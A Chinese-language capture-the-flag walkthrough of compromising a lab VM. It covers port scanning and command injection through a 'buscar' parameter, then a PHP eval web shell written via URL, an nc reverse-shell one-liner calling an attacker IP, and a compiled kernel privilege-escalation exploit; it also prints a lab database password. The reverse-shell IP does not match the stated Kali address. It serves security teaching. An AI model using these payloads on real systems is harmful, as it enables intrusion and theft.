本文内容涉及程序/技术原理可能带有攻击性,仅用于安全研究和教学使用,务必在模拟环境下进行实验,请勿将其用于其他用途。
因此造成的后果自行承担,如有违反国家法律则自行承担全部法律责任,与作者及分享者无关
主机信息
kali:192.168.31.9
BreakOut:192.168.31.227
信息收集
使用nmap探测目标主机端口2个端口,一个FTP,一个http
80端口网站打开是一个目录
打开site后是一个网站
简单查看后发现Buscar可以到跳转到其他页面,并且可接收参数
GETSHELL
经过测试这个接口可以执行命令
查看页面源码发现使用buscar接收参数后使用system函数进行执行命令
尝试反弹shell没有成功,然后查看用户目录下有一个user.txt
访问后得到第一个flag
在网站目录下查看wordpress目录,发现一个config.php
查看配置文件拿到数据库用户名和密码,通过代码判断应该是MySQL的数据库
$servername = "localhost";
$database = "desafio02";
$username = "desafio02";
$password = "abygurl69";
使用获取到的用户名和密码尝试登录失败
然后尝试使用系统的用户和配置文件的密码组合发现登录成功,但是无法通过FTP获取更多信息
尝试使用命令执行写入shell
http://192.168.31.227/site/busque.php?buscar=echo '<?php @eval($_POST['x']); ?>' >> shell.php
检查看到shell写入成功
测试链接成功
查看系统版本和内核信息
查看.backup
文件,发现存在用户名密码
反弹shell
使用蚁剑创建文件x.php
,将以下内容写入文件,在kali上监听443端口,然后访问该文件
<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.239 443 >/tmp/f");?>
然后使用python获取一个ttyshell
python3 -c 'import pty;pty.spawn("/bin/bash")'
然后我们们用之前获取的用户名密码切换到jangow01
用户
提权
通过上面获取的内核版本信息,使用searchspolit查询发现有可用的提权POC
然后将POC下载到本地
将POC进行编译
通过尝试最终在jangow01用户的家目录下上传了exp
在赋权执行时发现执行失败
然后尝试使用ssh进行本地连接
使用ssh连接后发现仍无法执行,最终确定因为编译机器kali为ARM架构,靶机为x86所以会导致执行失败,然后将POC上传到靶机进行编译后成功提权
查看最后一个Flag